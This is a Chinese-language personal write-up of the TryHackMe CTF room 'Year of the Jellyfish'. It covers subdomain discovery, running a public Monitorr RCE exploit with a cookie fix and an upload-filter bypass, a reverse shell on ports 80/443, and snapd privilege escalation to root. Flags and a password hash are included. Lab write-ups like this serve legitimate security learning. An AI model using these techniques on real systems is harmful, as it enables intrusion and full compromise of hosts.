打靶记录(二五)之THMYearofJellyfish
端口扫描
21端口FTP发现不能匿名登录
Web
发现不能直接访问网站,先添加DNS解析
sudo vim /etc/hosts |
扫下目录先
gobuster dir -u https://robyns-petshop.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -k |
因为是私有证书,要加上-k忽略证书验证
在网站结尾发现pico这个关键词,搜了一下应该是一个CMS
但是搜了一下应该不是同一个东西,利用不了。
在这里发现这个IP对应的域名有好几个,应该是一个主域和几个备用域,试着把这四个都添加到hosts文件里
Getshell
登录monitorr.robyns-petshop.thm,发现了另一个CMS,貌似是一个监管系统。剩下两个看了感觉没什么攻击点
wow,搜到的版本和网站下方的正好对应,加深了对这个思路的信心
searchsploit "Monitorr" -m php/webapps/48980.py |
下载脚本
是一个RCE的脚本,输入本地的IP和端口应该就行,先开启监听
python 48980.py https://monitorr.robyns-petshop.thm/ 10.14.52.15 1234 |
发现报错了哦,又是证书的问题。
编辑脚本,在resquest后面加上verify=False,忽略证书的验证
再次运行,虽然还是报了错。可以打印一下响应看看发生了什么。
被认定为是入侵者,shell上传失败了
在网页中发现有一个叫做isHuman的cookie,值为1。也许我们通过Python来请求没有cookie被认为是入侵者。那就加上cookie。
又报错了,提示不是一个图像,也就是说上传还有类型过滤
看看了WP,用了双重后缀名和大小写的问题来绕过了黑名单
访问/assets/data/usrimg/路径发现成功上传了shell,点击触发。然而浏览器在旋转说明shell是有被触发的,然而并没有监听到。这种情况一般是有防火墙,导致shell没连接。看了大佬的WP,改用80,443端口监听可以试试。(绕过防火墙还没学,接下来再学)
在/var/www目录找到flag1
THM{MjBkOTMyZDgzNGZmOGI0Y2I5NTljNGNl}
提权
现在我们还是www-data身份,大概率要先转移到一个用户的身上
一开始的思路是在web服务中找一下配置文件有没有可能有密码
结果在monitorr的目录中找到了个数据库文件,里面有管理员的哈希
admin$2y$10$q1BI3CSqToALH2Q1r2weLeRpyU7QbonizeVxJnPIieo/drbRSzVT
结果发现爆破不出来捏,也没什么能利用的东西好像。
看WP用SUID来提权,发现一个snap
查看版本
搜索漏洞
我下了第二个,然后开启本地服务器,上传上去
python3 46362.py
成功运行,他好像是添加了一个用户,并给了我们用户和密码,su来转换用户。发现不能用这个命令,应该是shell的交互性不够
python3 -c "import pty;pty.spawn('/bin/bash')" |
发现可以了
我们此刻拥有全部权限
sudo /bin/bash |
成功提权
root.txt
THM{YjMyZTkwYzZhM2U5MGEzZDU2MDc1NTMx}
看了一下其他WP,发现有师傅用的是CVE-2021-4034来提权。深感差距之大,道阻且长!
碎碎念
第一次接触了https证书相关的渗透房间,也许字后要对备用域名,子域名之类的也要关注一下了。然后这次的exploit也不是单纯跑脚本就行了,还是挺考验底层逻辑还有解决报错的能力的,不然容易成为脚本小子(。总之这个系列的靶机是打完了,还是收货很大的,即使有难度,但是也非常有趣!